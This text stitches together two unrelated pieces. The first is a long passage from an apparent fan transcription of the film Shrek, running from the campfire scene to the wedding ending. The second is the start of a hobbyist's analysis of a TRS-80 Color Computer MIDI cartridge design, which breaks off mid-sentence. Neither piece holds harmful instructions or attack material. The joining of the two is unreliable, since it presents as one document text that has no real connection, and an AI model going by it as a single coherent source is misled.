this forest. FIONA I need to find somewhere to camp now! Both Donkey and Shrek's ears lower as they shrink away from her. MOUNTAIN CLIFF Shrek has found a cave that appears to be in good order. He shoves a stone boulder out of the way to reveal the cave. SHREK Hey! Over here. DONKEY Shrek, we can do better than that. I don't think this is fit for a princess. FIONA No, no, it's perfect. It just needs a few homey touches. SHREK Homey touches? Like what? (he hears a tearing noise and looks over at Fiona who has torn the bark off of a tree.) FIONA A door? Well, gentlemen, I bid thee good night. (goes into the cave and puts the bark door up behind her) DONKEY You want me to read you a bedtime story? I will. FIONA (os) I said good night! Shrek looks at Donkey for a second and then goes to move the boulder back in front of the entrance to the cave with Fiona still inside. DONKEY Shrek, What are you doing? SHREK (laughs) I just- - You know - - Oh, come on. I was just kidding. LATER THAT NIGHT Shrek and Donkey are sitting around a campfire. They are staring up into the sky as Shrek points out certain star constellations to Donkey. SHREK And, uh, that one, that's Throwback, the only ogre to ever spit over three wheat fields. DONKEY Right. Yeah. Hey, can you tell my future from these stars? SHREK The stars don't tell the future, Donkey. They tell stories. Look, there's Bloodnut, the Flatulent. You can guess what he's famous for. DONKEY I know you're making this up. SHREK No, look. There he is, and there's the group of hunters running away from his stench. DONKEY That ain't nothin' but a bunch of little dots. SHREK You know, Donkey, sometimes things are more than they appear. Hmm? Forget it. DONKEY (heaves a big sigh) Hey, Shrek, what we gonna do when we get our swamp anyway? SHREK Our swamp? DONKEY You know, when we're through rescuing the princess. SHREK We? Donkey, there's no "we". There's no "our". There's just me and my swamp. The first thing I'm gonna do is build a ten-foot wall around my land. DONKEY You cut me deep, Shrek. You cut me real deep just now. You know what I think? I think this whole wall thing is just a way to keep somebody out. SHREK No, do ya think? DONKEY Are you hidin' something? SHREK Never mind, Donkey. DONKEY Oh, this is another one of those onion things, isn't it? SHREK No, this is one of those drop-it and leave-it alone things. DONKEY Why don't you want to talk about it? SHREK Why do you want to talk about it? DONKEY Why are you blocking? SHREK I'm not blocking. DONKEY Oh, yes, you are. SHREK Donkey, I'm warning you. DONKEY Who you trying to keep out? SHREK Everyone! Okay? DONKEY (pause) Oh, now we're gettin' somewhere. (grins) At this point Fiona pulls the 'door' away from the entrance to the cave and peaks out. Neither of the guys see her. SHREK Oh! For the love of Pete! (gets up and walks over to the edge of the cliff and sits down) DONKEY What's your problem? What you got against the whole world anyway? SHREK Look, I'm not the one with the problem, okay? It's the world that seems to have a problem with me. People take one look at me and go. "Aah! Help! Run! A big, stupid, ugly ogre!" They judge me before they even know me. That's why I'm better off alone. DONKEY You know what? When we met, I didn't think you was just a big, stupid, ugly ogre. SHREK Yeah, I know. DONKEY So, uh, are there any donkeys up there? SHREK Well, there's, um, Gabby, the Small and Annoying. DONKEY Okay, okay, I see it now. The big shiny one, right there. That one there? Fiona puts the door back. SHREK That's the moon. DONKEY Oh, okay. DuLoc - Farquaad's Bedroom The camera pans over a lot of wedding stuff. Soft music plays in the background. Farquaad is in bed, watching as the Magic Mirror shows him Princess Fiona. FARQUAAD Again, show me again. Mirror, mirror, show her to me. Show me the princess. MIRROR Hmph. The Mirror rewinds and begins to play again from the beginning. FARQUAAD Ah. Perfect. Farquaad looks down at his bare chest and pulls the sheet up to cover himself as though Fiona could see him as he gazes sheepishly at her image in the mirror. MORNING Fiona walks out of the cave. She glances at Shrek and Donkey who are still sleeping. She wanders off into the woods and comes across a blue bird. She begins to sing. The bird sings along with her. She hits higher and higher notes and the bird struggles to keep up with her. Suddenly the pressure of the note is too big and the bird explodes. Fiona looks a little sheepish, but she eyes the eggs that the bird left behind. Time lapse, Fiona is now cooking the eggs for breakfast. Shrek and Donkey are still sleeping. Shrek wakes up and looks at Fiona. Donkey's talking in his sleep. DONKEY (quietly) Mmm, yeah, you know I like it like that. Come on, baby. I said I like it. SHREK Donkey, wake up. (shakes him) DONKEY Huh? What? SHREK Wake up. DONKEY What? (stretches and yawns) FIONA Good morning. Hm, how do you like your eggs? DONKEY Oh, good morning, Princess! Fiona gets up and sets the eggs down in front of them. SHREK What's all this about? FIONA You know, we kind of got off to a bad start yesterday. I wanted to make it up to you. I mean, after all, you did rescue me. SHREK Uh, thanks. Donkey sniffs the eggs and licks his lips. FIONA Well, eat up. We've got a big day ahead of us. (walks off) LATER They are once again on their way. They are walking through the forest. Shrek belches. DONKEY Shrek! SHREK What? It's a compliment. Better out than in, I always say. (laughs) DONKEY Well, it's no way to behave in front of a princess. Fiona belches FIONA Thanks. DONKEY She's as nasty as you are. SHREK (chuckles) You know, you're not exactly what I expected. FIONA Well, maybe you shouldn't judge people before you get to know them. She smiles and then continues walking, singing softly. Suddenly from out of nowhere, a man swings down and swoops Fiona up into a tree. ROBIN HOOD La liberte! Hey! SHREK Princess! FIONA (to Robin Hood) What are you doing? ROBIN HOOD Be still, mon cherie, for I am you savior! And I am rescuing you from this green...(kisses up her arm while Fiona pulls back in disgust)...beast. SHREK Hey! That's my princess! Go find you own! ROBIN HOOD Please, monster! Can't you see I'm a little busy here? FIONA (getting fed up) Look, pal, I don't know who you think you are! ROBIN HOOD Oh! Of course! Oh, how rude. Please let me introduce myself. Oh, Merry Men. (laughs) Suddenly an accordion begins to play and the Merry men pop out from the bushes. They begin to sing Robin's theme song. MERRY MEN Ta, dah, dah, dah, whoo. ROBIN HOOD I steal from the rich and give to the needy. MERRY MEN He takes a wee percentage, ROBIN HOOD But I'm not greedy. I rescue pretty damsels, man, I'm good. MERRY MEN What a guy, Monsieur Hood. ROBIN HOOD Break it down. I like an honest fight and a saucy little maid... MERRY MEN What he's basically saying is he likes to get... ROBIN HOOD Paid. So...When an ogre in the bush grabs a lady by the tush. That's bad. MERRY MEN That's bad. ROBIN HOOD When a beauty's with a beast it makes me awfully mad. MERRY MEN He's mad, he's really, really mad. ROBIN HOOD I'll take my blade and ram it through your heart, keep your eyes on me, boys 'cause I'm about to start... There is a grunt as Fiona swings down from the tree limb and knocks Robin Hood unconscious. FIONA Man, that was annoying! Shrek looks at her in admiration. MERRY MAN Oh, you little- - (shoots an arrow at Fiona but she ducks out of the way) The arrow flies toward Donkey who jumps into Shrek's arms to get out of the way. The arrow proceeds to just bounce off a tree. Another fight sequence begins and Fiona gives a karate yell and then proceeds to beat the crap out of the Merry Men. There is a very interesting 'Matrix' moment here when Fiona pauses in mid-air to fix her hair. Finally all of the Merry Men are down, and Fiona begins walking away. FIONA Uh, shall we? SHREK Hold the phone. (drops Donkey and begins walking after Fiona) Oh! Whoa, whoa, whoa. Hold on now. Where did that come from? FIONA What? SHREK That! Back there. That was amazing! Where did you learn that? FIONA Well...(laughs) when one lives alone, uh, one has to learn these things in case there's a...(gasps and points) there's an arrow in your butt! SHREK What? (turns and looks) Oh, would you look at that? (he goes to pull it out but flinches because it's tender) FIONA Oh, no. This is all my fault. I'm so sorry. DONKEY (walking up) Why? What's wrong? FIONA Shrek's hurt. DONKEY Shrek's hurt. Shrek's hurt? Oh, no, Shrek's gonna die. SHREK Donkey, I'm okay. DONKEY You can't do this to me, Shrek. I'm too young for you to die. Keep you legs elevated. Turn your head and cough. Does anyone know the Heimlich? FIONA Donkey! Calm down. If you want to help Shrek, run into the woods and find me a blue flower with red thorns. DONKEY Blue flower, red thorns. Okay, I'm on it. Blue flower, red thorns. Don't die Shrek. If you see a long tunnel, stay away from the light! SHREK & FIONA Donkey! DONKEY Oh, yeah. Right. Blue flower, red thorns. (runs off) SHREK What are the flowers for? FIONA (like it's obvious) For getting rid of Donkey. SHREK Ah. FIONA Now you hold still, and I'll yank this thing out. (gives the arrow a little pull) SHREK (jumps away) Ow! Hey! Easy with the yankin'. As they continue to talk Fiona keeps going after the arrow and Shrek keeps dodging her hands. FIONA I'm sorry, but it has to come out. SHREK No, it's tender. FIONA Now, hold on. SHREK What you're doing is the opposite of help. FIONA Don't move. SHREK Look, time out. FIONA Would you...(grunts as Shrek puts his hand over her face to stop her from getting at the arrow) Okay. What do you propose we do? ELSEWHERE Donkey is still looking for the special flower. DONKEY Blue flower, red thorns. Blue flower, red thorns. Blue flower, red thorns. This would be so much easier if I wasn't color-blind! Blue flower, red thorns. SHREK (os) Ow! DONKEY Hold on, Shrek! I'm comin'! (rips a flower off a nearby bush that just happens to be a blue flower with red thorns) THE FOREST PATH SHREK Ow! Not good. FIONA Okay. Okay. I can nearly see the head. (Shrek grunts as she pulls) It's just about... SHREK Ow! Ohh! (he jerks and manages to fall over with Fiona on top of him) DONKEY Ahem. SHREK (throwing Fiona off of him) Nothing happend. We were just, uh - - DONKEY Look, if you wanted to be alone, all you had to do was ask. Okay? SHREK Oh, come on! That's the last thing on my mind. The princess here was just- - (Fiona pulls the arrow out) Ugh! (he turns to look at Fiona who holds up the arrow with a smile) Ow! DONKEY Hey, what's that? (nervous chuckle) That's...is that blood? Donkey faints. Shrek walks over and picks him up as they continue on their way. There is a montage of scenes as the group heads back to DuLoc. Shrek crawling up to the top of a tree to make it fall over a small brook so that Fiona won't get wet. Shrek then gets up as Donkey is just about to cross the tree and the tree swings back into it's upright position and Donkey flies off. Shrek swatting and a bunch of flies and mosquitoes. Fiona grabs a nearby spiderweb that's on a tree branch and runs through the field swinging it around to catch the bugs. She then hands it to Shrek who begins eating like it's a treat. As he walks off she licks her fingers. Shrek catching a toad and blowing it up like a balloon and presenting it to Fiona. Fiona catching a snake, blowing it up, fashioning it into a balloon animal and presenting it to Shrek. The group arriving at a windmill that is near DuLoc. WINDMILL SHREK There it is, Princess. Your future awaits you. FIONA That's DuLoc? DONKEY Yeah, I know. You know, Shrek thinks Lord Farquaad's compensating for something, which I think means he has a really...(Shrek steps on his hoof) Ow! SHREK Um, I, uh- - I guess we better move on. FIONA Sure. But, Shrek? I'm - - I'm worried about Donkey. SHREK What? FIONA I mean, look at him. He doesn't look so good. DONKEY What are you talking about? I'm fine. FIONA (kneels to look him in the eyes) That's what they always say, and then next thing you know, you're on your back. (pause) Dead. SHREK You know, she's right. You look awful. Do you want to sit down? FIONA Uh, you know, I'll make you some tea. DONKEY I didn't want to say nothin', but I got this twinge in my neck, and when I turn my head like this, look, (turns his neck in a very sharp way until his head is completely sideways) Ow! See? SHREK Who's hungry? I'll find us some dinner. FIONA I'll get the firewood. DONKEY Hey, where you goin'? Oh, man, I can't feel my toes! (looks down and yelps) I don't have any toes! I think I need a hug. SUNSET Shrek has built a fire and is cooking the rest of dinner while Fiona eats. FIONA Mmm. This is good. This is really good. What is this? SHREK Uh, weed rat. Rotisserie style. FIONA No kidding. Well, this is delicious. SHREK Well, they're also great in stews. Now, I don't mean to brag, but I make a mean weed rat stew. (chuckles) Fiona looks at DuLoc and sighs. FIONA I guess I'll be dining a little differently tomorrow night. SHREK Maybe you can come visit me in the swamp sometime. I'll cook all kind of stuff for you. Swamp toad soup, fish eye tartare - - you name it. FIONA (smiles) I'd like that. They smiles at each other. SHREK Um, Princess? FIONA Yes, Shrek? SHREK I, um, I was wondering...are you...(sighs) Are you gonna eat that? DONKEY (chuckles) Man, isn't this romantic? Just look at that sunset. FIONA (jumps up) Sunset? Oh, no! I mean, it's late. I-It's very late. SHREK What? DONKEY Wait a minute. I see what's goin' on here. You're afraid of the dark, aren't you? FIONA Yes! Yes, that's it. I'm terrified. You know, I'd better go inside. DONKEY Don't feel bad, Princess. I used to be afraid of the dark, too, until - - Hey, no, wait. I'm still afraid of the dark. Shrek sighs FIONA Good night. SHREK Good night. Fiona goes inside the windmill and closes the door. Donkey looks at Shrek with a new eye. DONKEY Ohh! Now I really see what's goin' on here. SHREK Oh, what are you talkin' about? DONKEY I don't even wanna hear it. Look, I'm an animal, and I got instincts. And I know you two were diggin' on each other. I could feel it. SHREK You're crazy. I'm just bringing her back to Farquaad. DONKEY Oh, come on, Shrek. Wake up and smell the pheromones. Just go on in and tell her how you feel. SHREK I- - There's nothing to tell. Besides, even if I did tell her that, well, you know - - and I'm not sayin' I do 'cause I don't - - she's a princess, and I'm - - DONKEY An ogre? SHREK Yeah. An ogre. DONKEY Hey, where you goin'? SHREK To get... move firewood. (sighs) Donkey looks over at the large pile of firewood there already is. TIME LAPSE Donkey opens the door to the Windmill and walks in. Fiona is nowhere to be seen. DONKEY Princess? Princess Fiona? Princess, where are you? Princess? Fiona looks at Donkey from the shadows, but we can't see her. DONKEY It's very spooky in here. I ain't playing no games. Suddenly Fiona falls from the railing. She gets up only she doesn't look like herself. She looks like an ogre and Donkey starts freaking out. DONKEY Aah! FIONA Oh, no! DONKEY No, help! FIONA Shh! DONKEY Shrek! Shrek! Shrek! FIONA No, it's okay. It's okay. DONKEY What did you do with the princess? FIONA Donkey, I'm the princess. DONKEY Aah! FIONA It's me, in this body. DONKEY Oh, my God! You ate the princess. (to her stomach) Can you hear me? FIONA Donkey! DONKEY (still aimed at her stomach) Listen, keep breathing! I'll get you out of there! FIONA No! DONKEY Shrek! Shrek! Shrek! FIONA Shh. DONKEY Shrek! FIONA This is me. Donkey looks into her eyes as she pets his muzzle, and he quiets down. DONKEY Princess? What happened to you? You're, uh, uh, uh, different. FIONA I'm ugly, okay? DONKEY Well, yeah! Was it something you ate? 'Cause I told Shrek those rats was a bad idea. You are what you eat, I said. Now - - FIONA No. I - - I've been this way as long as I can remember. DONKEY What do you mean? Look, I ain't never seen you like this before. FIONA It only happens when sun goes down. "By night one way, by day another. This shall be the norm... until you find true love's first kiss... and then take love's true form." DONKEY Ah, that's beautiful. I didn't know you wrote poetry. FIONA It's a spell. (sigh) When I was a little girl, a witch cast a spell on me. Every night I become this. This horrible, ugly beast! I was placed in a tower to await the day my true love would rescue me. That's why I have to marry Lord Farquaad tomorrow before the sun sets and he sees me like this. (begins to cry) DONKEY All right, all right. Calm down. Look, it's not that bad. You're not that ugly. Well, I ain't gonna lie. You are ugly. But you only look like this at night. Shrek's ugly 24-7. FIONA But Donkey, I'm a princess, and this is not how a princess is meant to look. DONKEY Princess, how 'bout if you don't marry Farquaad? FIONA I have to. Only my true love's kiss can break the spell. DONKEY But, you know, um, you're kind of an orge, and Shrek - - well, you got a lot in common. FIONA Shrek? OUTSIDE Shrek is walking towards the windmill with a sunflower in his hand. SHREK (to himself) Princess, I - - Uh, how's it going, first of all? Good? Um, good for me too. I'm okay. I saw this flower and thought of you because it's pretty and - - well, I don't really like it, but I thought you might like it 'cause you're pretty. But I like you anyway. I'd - - uh, uh...(sighs) I'm in trouble. Okay, here we go. He walks up to the door and pauses outside when he hears Donkey and Fiona talking. FIONA (os) I can't just marry whoever I want. Take a good look at me, Donkey. I mean, really, who can ever love a beast so hideous and ugly? "Princess" and "ugly" don't go together. That's why I can't stay here with Shrek. Shrek steps back in shock. FIONA (os) My only chance to live happily ever after is to marry my true love. Shrek heaves a deep sigh. He throws the flower down and walks away. INSIDE FIONA Don't you see, Donkey? That's just how it has to be. It's the only way to break the spell. DONKEY You at least gotta tell Shrek the truth. FIONA No! You can't breathe a word. No one must ever know. DONKEY What's the point of being able to talk if you gotta keep secrets? FIONA Promise you won't tell. Promise! DONKEY All right, all right. I won't tell him. But you should. (goes outside) I just know before this is over, I'm gonna need a whole lot of serious therapy. Look at my eye twitchin'. Fiona comes out the door and watches him walk away. She looks down and spots the sunflower. She picks it up before going back inside the windmill. MORNING Donkey is asleep. Shrek is nowhere to be seen. Fiona is still awake. She is plucking petals from the sunflower. FIONA I tell him, I tell him not. I tell him, I tell him not. I tell him. (she quickly runs to the door and goes outside) Shrek! Shrek, there's something I want...(she looks and sees the rising sun, and as the sun crests the sky she turns back into a human.) Just as she looks back at the sun she sees Shrek stomping towards her. FIONA Shrek. Are you all right? SHREK Perfect! Never been better. FIONA I - - I don't - - There's something I have to tell you. SHREK You don't have to tell me anything, Princess. I heard enough last night. FIONA You heard what I said? SHREK Every word. FIONA I thought you'd understand. SHREK Oh, I understand. Like you said, "Who could love a hideous, ugly beast?" FIONA But I thought that wouldn't matter to you. SHREK Yeah? Well, it does. (Fiona looks at him in shock. He looks past her and spots a group approaching.) Ah, right on time. Princess, I've brought you a little something. Farquaad has arrived with a group of his men. He looks very regal sitting up on his horse. You would never guess that he's only like 3 feet tall. Donkey wakes up with a yawn as the soldiers march by. DONKEY What'd I miss? What'd I miss? (spots the soldiers) (muffled) Who said that? Couldn't have been the donkey. FARQUAAD Princess Fiona. SHREK As promised. Now hand it over. FARQUAAD Very well, ogre. (holds out a piece of paper) The deed to your swamp, cleared out, as agreed. Take it and go before I change my mind. (Shrek takes the paper) Forgive me, Princess, for startling you, but you startled me, for I have never seen such a radiant beauty before. I'm Lord Farquaad. FIONA Lord Farquaad? Oh, no, no. (Farquaad snaps his fingers) Forgive me, my lord, for I was just saying a short... (Watches as Farquaad is lifted off his horse and set down in front of her. He comes to her waist.) farewell. FARQUAAD Oh, that is so sweet. You don't have to waste good manners on the ogre. It's not like it has feelings. FIONA No, you're right. It doesn't. Donkey watches this exchange with a curious look on his face. FARQUAAD Princess Fiona, beautiful, fair, flawless Fiona. I ask your hand in marriage. Will you be the perfect bride for the perfect groom? FIONA Lord Farquaad, I accept. Nothing would make - - FARQUAAD (interrupting) Excellent! I'll start the plans, for tomorrow we wed! FIONA No! I mean, uh, why wait? Let's get married today before the sun sets. FARQUAAD Oh, anxious, are you? You're right. The sooner, the better. There's so much to do! There's the caterer, the cake, the band, the guest list. Captain, round up some guests! (a guard puts Fiona on the back of his horse) FIONA Fare-thee-well, ogre. Farquaad's whole party begins to head back to DuLoc. Donkey watches them go. DONKEY Shrek, what are you doing? You're letting her get away. SHREK Yeah? So what? DONKEY Shrek, there's something about her you don't know. Look, I talked to her last night, She's - - SHREK I know you talked to her last night. You're great pals, aren't ya? Now, if you two are such good friends, why don't you follow her home? DONKEY Shrek, I - - I wanna go with you. SHREK I told you, didn't I? You're not coming home with me. I live alone! My swamp! Me! Nobody else! Understand? Nobody! Especially useless, pathetic, annoying, talking donkeys! DONKEY But I thought - - SHREK Yeah. You know what? You thought wrong! (stomps off) DONKEY Shrek. Montage of different scenes. Shrek arriving back home. Fiona being fitted for the wedding dress. Donkey at a stream running into the dragon. Shrek cleaning up his house. Fiona eating dinner alone. Shrek eating dinner alone. SHREK'S HOME Shrek is eating dinner when he hears a sound outside. He goes outside to investigate. SHREK Donkey? (Donkey ignores him and continues with what he's doing.) What are you doing? DONKEY I would think, of all people, you would recognize a wall when you see one. SHREK Well, yeah. But the wall's supposed to go around my swamp, not through it. DONKEY It is around your half. See that's your half, and this is my half. SHREK Oh! Your half. Hmm. DONKEY Yes, my half. I helped rescue the princess. I did half the work. I get half the booty. Now hand me that big old rock, the one that looks like your head. SHREK Back off! DONKEY No, you back off. SHREK This is my swamp! DONKEY Our swamp. SHREK (grabs the tree branch Donkey is working with) Let go, Donkey! DONKEY You let go. SHREK Stubborn jackass! DONKEY Smelly ogre. SHREK Fine! (drops the tree branch and walks away) DONKEY Hey, hey, come back here. I'm not through with you yet. SHREK Well, I'm through with you. DONKEY Uh-uh. You know, with you it's always, "Me, me, me!" Well, guess what! Now it's my turn! So you just shut up and pay attention! You are mean to me. You insult me and you don't appreciate anything that I do! You're always pushing me around or pushing me away. SHREK Oh, yeah? Well, if I treated you so bad, how come you came back? DONKEY Because that's what friends do! They forgive each other! SHREK Oh, yeah. You're right, Donkey. I forgive you... for stabbin' me in the back! (goes into the outhouse and slams the door) DONKEY Ohh! You're so wrapped up in layers, onion boy, you're afraid of your own feelings. SHREK (os) Go away! DONKEY There you are , doing it again just like you did to Fiona. All she ever do was like you, maybe even love you. SHREK (os) Love me? She said I was ugly, a hideous creature. I heard the two of you talking. DONKEY She wasn't talkin' about you. She was talkin' about, uh, somebody else. SHREK (opens the door and comes out) She wasn't talking about me? Well, then who was she talking about? DONKEY Uh-uh, no way. I ain't saying anything. You don't wanna listen to me. Right? Right? SHREK Donkey! DONKEY No! SHREK Okay, look. I'm sorry, all right? (sigh) I'm sorry. I guess I am just a big, stupid, ugly ogre. Can you forgive me? DONKEY Hey, that's what friends are for, right? SHREK Right. Friends? DONKEY Friends. SHREK So, um, what did Fiona say about me? DONKEY What are you asking me for? Why don't you just go ask her? SHREK The wedding! We'll never make it in time. DONKEY Ha-ha-ha! Never fear, for where, there's a will, there's a way and I have a way. (whistles) Suddenly the dragon arrives overhead and flies low enough so they can climb on. SHREK Donkey? DONKEY I guess it's just my animal magnetism. They both laugh. SHREK Aw, come here, you. (gives Donkey a noogie) DONKEY All right, all right. Don't get all slobbery. No one likes a kiss ass. All right, hop on and hold on tight. I haven't had a chance to install the seat belts yet. They climb aboard the dragon and she takes off for DuLoc. DULOC - CHURCH Fiona and Farquaad are getting married. The whole town is there. The prompter card guy holds up a card that says 'Revered Silence'. PRIEST People of DuLoc, we gather here today to bear witness to the union.... FIONA (eyeing the setting sun) Um- PRIEST ...of our new king... FIONA Excuse me. Could we just skip ahead to the "I do's"? FARQUAAD (chuckles and then motions to the priest to indulge Fiona) Go on. COURTYARD Some guards are milling around. Suddenly the dragon lands with a boom. The guards all take off running. DONKEY (to Dragon) Go ahead, HAVE SOME FUN. If we need you, I'll whistle. How about that? (she nods and goes after the guards) Shrek, wait, wait! Wait a minute! You wanna do this right, don't you? SHREK (at the Church door) What are you talking about? DONKEY There's a line you gotta wait for. The preacher's gonna say, "Speak now or forever hold your peace." That's when you say, "I object!" SHREK I don't have time for this! DONKEY Hey, wait. What are you doing? Listen to me! Look, you love this woman, don't you? SHREK Yes. DONKEY You wanna hold her? SHREK Yes. DONKEY Please her? SHREK Yes! DONKEY (singing James Brown style) Then you got to, got to try a little tenderness. (normal) The chicks love that romantic crap! SHREK All right! Cut it out. When does this guy say the line? DONKEY We gotta check it out. INSIDE CHURCH As the priest talks we see Donkey's shadow through one of the windows Shrek tosses him up so he can see. PRIEST And so, by the power vested in me... Outside SHREK What do you see? DONKEY The whole town's in there. Inside PRIEST I now pronounce you husband and wife... Outside DONKEY They're at the altar. Inside PRIEST ...king and queen. Outside DONKEY Mother Fletcher! He already said it. SHREK Oh, for the love of Pete! He runs inside without catching Donkey, who hits the ground hard. INSIDE CHURCH SHREK (running toward the alter) I object! FIONA Shrek? The whole congregation gasps as they see Shrek. FARQUAAD Oh, now what does he want? SHREK (to congregation as he reaches the front of the Church) Hi, everyone. Havin' a good time, are ya? I love DuLoc, first of all. Very clean. FIONA What are you doing here? SHREK Really, it's rude enough being alive when no one wants you, but showing up uninvited to a wedding... SHREK Fiona! I need to talk to you. FIONA Oh, now you wanna talk? It's a little late for that, so if you'll excuse me - - SHREK But you can't marry him. FIONA And why not? SHREK Because- - Because he's just marring you so he can be king. FARQUAAD Outrageous! Fiona, don't listen to him. SHREK He's not your true love. FIONA And what do you know about true love? SHREK Well, I - - Uh - - I mean - - FARQUAAD Oh, this is precious. The ogee has fallen in love with the princess! Oh, good Lord. (laughs) The prompter card guy holds up a card that says 'Laugh'. The whole congregation laughs. FARQUAAD An ogre and a princess! FIONA Shrek, is this true? FARQUAAD Who cares? It's preposterous! Fiona, my love, we're but a kiss away from our "happily ever after." Now kiss me! (puckers his lips and leans toward her, but she pulls back.) FIONA (looking at the setting sun) "By night one way, by day another." (to Shrek) I wanted to show you before. She backs up and as the sun sets she changes into her ogre self. She gives Shrek a sheepish smile. SHREK Well, uh, that explains a lot. (Fiona smiles) FARQUAAD Ugh! It's disgusting! Guards! Guards! I order you to get that out of my sight now! Get them! Get them both! The guards run in and separate Fiona and Shrek. Shrek fights them. SHREK No, no! FIONA Shrek! FARQUAAD This hocus-pocus alters nothing. This marriage is binding, and that makes me king! See? See? FIONA No, let go of me! Shrek! SHREK No! FARQUAAD Don't just stand there, you morons. SHREK Get out of my way! Fiona! Arrgh! FARQUAAD I'll make you regret the day we met. I'll see you drawn and quartered! You'll beg for death to save you! FIONA No, Shrek! FARQUAAD (hold a dagger to Fiona's throat) And as for you, my wife... SHREK Fiona! FARQUAAD I'll have you locked back in that tower for the rest of your days! I'm king! Shrek manages to get a hand free and he whistles. FARQUAAD I will have order! I will have perfection! I will have - - (Donkey and the dragon show up and the dragon leans down and eats Farquaad) Aaaah! Aah! DONKEY All right. Nobody move. I got a dragon here, and I'm not afraid to use it. (The dragon roars.) I'm a donkey on the edge! The dragon belches and Farquaad's crown flies out of her mouth and falls to the ground. DONKEY Celebrity marriages. They never last, do they? The congregation cheers. DONKEY Go ahead, Shrek. SHREK Uh, Fiona? FIONA Yes, Shrek? SHREK I - - I love you. FIONA Really? SHREK Really, really. FIONA (smiles) I love you too. Shrek and Fiona kiss. Thelonius takes one of the cards and writes 'Awwww' on the back and then shows it to the congregation. CONGREGATION Aawww! Suddenly the magic of the spell pulls Fiona away. She's lifted up into the air and she hovers there while the magic works around her. WHISPERS "Until you find true love's first kiss and then take love's true form. Take love's true form. Take love's true form." Suddenly Fiona's eyes open wide. She's consumed by the spell and then is slowly lowered to the ground. SHREK (going over to her) Fiona? Fiona. Are you all right? FIONA (standing up, she's still an ogre) Well, yes. But I don't understand. I'm supposed to be beautiful. SHREK But you ARE beautiful. They smile at each other. DONKEY (chuckles) I was hoping this would be a happy ending. Shrek and Fiona kiss...and the kiss fades into... THE SWAMP ...their wedding kiss. Shrek and Fiona are now married. 'I'm a Believer' by Smashmouth is played in the background. Shrek and Fiona break apart and run through the crowd to their awaiting carriage. Which is made of a giant onion. Fiona tosses her bouquet which both Cinderella and Snow White try to catch. But they end up getting into a cat fight and so the dragon catches the bouquet instead. The Gingerbread man has been mended somewhat and now has one leg and walks with a candy cane cane. Shrek and Fiona walk off as the rest of the guests party and Donkey takes over singing the song. GINGERBREAD MAN God bless us, every one. DONKEY (as he's done singing and we fade to black) Oh, that's funny. Oh. Oh. I can't breathe. I can't breathe. THE END

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CC-FlexiMIDI-V1R0-03.09.2009 and CC-FlexiMIDI-V1R1-03.09.2009 : Updated to CC-FlexiMIDI-V1R2-12.29.2019 on December 29, 2019 ================================ BACKGROUND: CC-FlexiMIDI-V1R0-03.09.2009 - A Hardware M.I.D.I. Interface Program Pak Cartridge for the Tandy Radio Shack TRS-80 Color Computer 1, 2 and 3, including clones and compatibles (Tano Dragon 64, Dragon Data D32, D64 and D200, Tandy Data Products TDP-100, etcetera) by "Little" John Eric Turner and his father "Big" John Robert (J.R.) Turner. Copyright 09 March 2009. Originally released as Open-Source Hardware on March 9, 2009. Subsequently released under a Creative Commons Attribution-ShareAlike 4.0 International (CC BY-SA 4.0) License on 21 May 2019. ENJOY! Note that the original design is crap, however, a debugged version is forthcoming from "Uncle" Robert "The R.A.T." Allen Turner. CC-FlexiMIDI-V1R0-03.09.2009 has been updated to CC-FlexiMIDI-V1R1-03.09.2009 by R.A. Turner on May 21, 2019, just over ten years after the initial release of Version 1, Revision 0. Version 1, Revision 1 is Copyright (C) 2019 by the above mentioned parties and is released under a Creative Commons Attribution-ShareAlike 4.0 International (CC BY-SA 4.0) License on 21 May 2019. =============================== DESCRIPTION: This project is an updated version of the "CC-FlexiMIDI-V1R0-03.09.2009", a hardware MIDI Interface Card for the Tandy Radio Shack TRS-80 Color Computer 1,2 and 3, Dragon Data Dragon D32, D64 and D200, Tandy Data Products TDP-100, Tano Dragon 64 and other clones and compatibles. The original "CC-FlexiMIDI-V1R0-03.09.2009" was designed by my nephew, "Little John", on March 8-9, 2009 as a learning excercise. He was teaching himself to use E.A.G.L.E. in order to design products for the TRS-80 Color Computer line of computers, with the help of his father, my brother, "Big John" or "J.R." as he is known to me. The "CC-FlexiMIDI-V1R0-03.09.2009" was among his very first (learning the art of circuit design) works. It is a terrible design only because he knew nothing about circuit design at the time and it does not appear that his father, "Big John" (J.R.) offered any input in regards to this particular design. I, "Uncle" Robert "The R.A.T." Allen Turner, have decided to polish up the design a bit and lay out a manufacturable Printed Circuit Board which I will release under a Creative Commons Attribution-ShareAlike 4.0 International (CC BY-SA 4.0) License. As such, I will analyze "Little John's" original design and then provide my improved version. The original "CC-FlexiMIDI-V1R0-03.09.2009" design files, as provided by "Little John" and his father (J.R.) are contained in the "Original (Deprecated)" folder of this archive and should be referenced for this initial analysis of the design. ================================ ANALYSIS OF ORIGINAL DESIGN: Load up the "CC-FlexiMIDI-V1R0-03.09.2009.sch" schematic file and have it handy for this discussion. Starting with Page 1 of the schematic, we see the expected cartridge (program pak) plug followed by an oddly interesting series of "purported" interrupts, labeled IRQ0* and IRQ1* (the "*" indicates low-level triggering, or active low). These "Interrupts", IRQ0* and IRQ1* appear to go, through disable jumpers, to Pins 1 and 2 of the CoCo Cartridge (Program PAK) Connector. This is both ODD and INTERESTING because Pins 1 and 2 of that connector are -12V and +12V, respectively, on ALL CoCo 1's, TDP-100's and ALL Multi-Pak Interfaces. Both of these pins are +12V on the Dragon computers. Those self-same pins, however, are NOT connected to anything on ANY stock, unmodified, CoCo 2 or 3 computers. I am thus forced to draw the following conclusion: "Little John" apparently allowed for using Pins 1 and 2 of a CoCo 2 or 3 Cartridge Slot to connect to any desired interrupt within the CoCo 2 or 3. That is, a CoCo 2 or 3 might be modified to connect Pins 1 and/or 2 of the Cartridge Slot to any of the CPU Interrupts, the PIA Interrupt (CART*), G.I.M.E. (A.C.V.C.) Interrupts (CoCo 3 only), etcetera. This is an UNECCESSARY feature of the "FlexiMIDI" design and my initial inclination was to omit it from the design. However, since there are jumpers that allow these "hacked in" custom interrupts to be disabled (removed) via JP1 and/or JP2 or connected together (wire or'ed) via JP3, I have decided to leave them in the design should anyone be so inclined as to use this custom interrupt scheme for experimentation or otherwise. Also on Page 1 is a fairly standard RESET switch which I would imagine could prove to be quite convenient but potentially problematic if the device is plugged into a Multi-Pak Interface (RESET* is buffered in a single direction in the M.P.I. and should not be triggered from any cartridge plugged into the M.P.I.), Power ON L.E.D. (which I assume might be quite distracting) and some pull-up resistors for the interrupts, custom and legit. Lastly, there is a 220uF Electrolytic Capacitor for Vcc (+5V) filtering. Ideally, a low ESR Electrolytic should be used, however, paralleling a 220uF 